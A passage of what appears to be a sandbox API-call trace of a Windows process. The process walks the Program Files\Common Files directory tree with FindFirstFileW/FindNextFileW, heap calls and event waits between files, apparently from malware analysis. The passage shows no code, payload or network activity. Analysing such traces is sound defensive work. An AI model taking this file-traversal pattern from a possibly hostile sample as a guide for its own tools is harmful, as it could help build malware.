ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x4298, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee100.tlb", cAlternateFileName="VSTOEE~1.TLB")) returned 1 [0101.366] ResetEvent (hEvent=0x2cc) returned 1 [0101.366] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0101.511] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x5898, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0101.511] ResetEvent (hEvent=0x2cc) returned 1 [0101.511] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0101.519] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x5898, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0101.519] FindClose (in: hFindFile=0xc19c78 | out: hFindFile=0xc19c78) returned 1 [0101.519] GetProcessHeap () returned 0xc00000 [0101.519] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37b48b8 | out: hHeap=0xc00000) returned 1 [0101.519] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f2f0 | out: lpFindFileData=0x2b1f2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName="VSTO", cAlternateFileName="")) returned 0 [0101.519] FindClose (in: hFindFile=0xc19c38 | out: hFindFile=0xc19c38) returned 1 [0101.519] GetProcessHeap () returned 0xc00000 [0101.519] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37a48b0 | out: hHeap=0xc00000) returned 1 [0101.521] FindNextFileW (in: hFindFile=0xc19cb8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0101.521] GetProcessHeap () returned 0xc00000 [0101.521] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37a48b0 [0101.522] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x2b1f2f0 | out: lpFindFileData=0x2b1f2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName=".", cAlternateFileName="")) returned 0xc19c38 [0101.522] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f2f0 | out: lpFindFileData=0x2b1f2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName="..", cAlternateFileName="")) returned 1 [0101.522] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f2f0 | out: lpFindFileData=0x2b1f2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x1ff, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0101.522] ResetEvent (hEvent=0x2cc) returned 1 [0101.522] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0101.914] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f2f0 | out: lpFindFileData=0x2b1f2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x1ff, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0101.915] FindClose (in: hFindFile=0xc19c38 | out: hFindFile=0xc19c38) returned 1 [0101.915] GetProcessHeap () returned 0xc00000 [0101.915] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37a48b0 | out: hHeap=0xc00000) returned 1 [0101.915] FindNextFileW (in: hFindFile=0xc19cb8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0101.915] GetProcessHeap () returned 0xc00000 [0101.915] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37a48b0 [0101.915] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x2b1f2f0 | out: lpFindFileData=0x2b1f2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName=".", cAlternateFileName="")) returned 0xc19c38 [0101.915] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f2f0 | out: lpFindFileData=0x2b1f2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName="..", cAlternateFileName="")) returned 1 [0101.916] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f2f0 | out: lpFindFileData=0x2b1f2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName="ado", cAlternateFileName="")) returned 1 [0101.916] GetProcessHeap () returned 0xc00000 [0101.916] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37b48b8 [0101.916] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19c78 [0101.916] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.916] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52a0c6a1, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x52a0c6a1, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x52a0c6a1, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a08, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0101.916] ResetEvent (hEvent=0x2cc) returned 1 [0101.916] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0103.274] ResetEvent (hEvent=0x2cc) returned 1 [0103.274] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0103.493] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529e643a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x529e643a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x529e643a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3b5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0103.493] ResetEvent (hEvent=0x2cc) returned 1 [0103.493] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0106.502] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0106.502] GetProcessHeap () returned 0xc00000 [0106.502] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d88e8 [0106.502] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e9720 [0106.502] FindNextFileW (in: hFindFile=0x37e9720, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.503] FindNextFileW (in: hFindFile=0x37e9720, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9483e2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0106.504] FindNextFileW (in: hFindFile=0x37e9720, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9483e2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0106.504] FindClose (in: hFindFile=0x37e9720 | out: hFindFile=0x37e9720) returned 1 [0106.504] GetProcessHeap () returned 0xc00000 [0106.504] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d88e8 | out: hHeap=0xc00000) returned 1 [0106.504] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0106.504] ResetEvent (hEvent=0x2cc) returned 1 [0106.504] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0106.712] ResetEvent (hEvent=0x2cc) returned 1 [0106.713] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0109.369] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xced4b5c5, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x12d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0109.369] ResetEvent (hEvent=0x2cc) returned 1 [0109.369] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0109.384] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0109.384] ResetEvent (hEvent=0x2cc) returned 1 [0109.384] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0109.405] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0109.405] ResetEvent (hEvent=0x2cc) returned 1 [0109.406] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0109.955] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0109.956] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0109.956] ResetEvent (hEvent=0x2cc) returned 1 [0109.956] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0109.980] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0109.980] ResetEvent (hEvent=0x2cc) returned 1 [0109.980] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0110.697] ResetEvent (hEvent=0x2cc) returned 1 [0110.697] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0111.511] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c6f28a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4c6f28a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4c6f28a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0111.512] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c6f28a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4c6f28a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4c6f28a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado60.tlb", cAlternateFileName="")) returned 1 [0111.512] ResetEvent (hEvent=0x2cc) returned 1 [0111.512] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0111.616] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xd005e363, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x58e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0111.617] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0111.618] ResetEvent (hEvent=0x2cc) returned 1 [0111.618] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0111.830] ResetEvent (hEvent=0x2cc) returned 1 [0111.830] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0111.835] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0111.835] ResetEvent (hEvent=0x2cc) returned 1 [0111.835] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0111.928] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x438ed65e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x438ed65e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x438ed65e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador28.tlb", cAlternateFileName="")) returned 1 [0111.928] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xc5b43065, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x62e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0111.928] ResetEvent (hEvent=0x2cc) returned 1 [0111.928] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0111.945] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c5ad98, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c5ad98, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c5ad98, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0111.945] ResetEvent (hEvent=0x2cc) returned 1 [0111.945] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0112.083] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0112.084] ResetEvent (hEvent=0x2cc) returned 1 [0112.084] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0112.106] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) 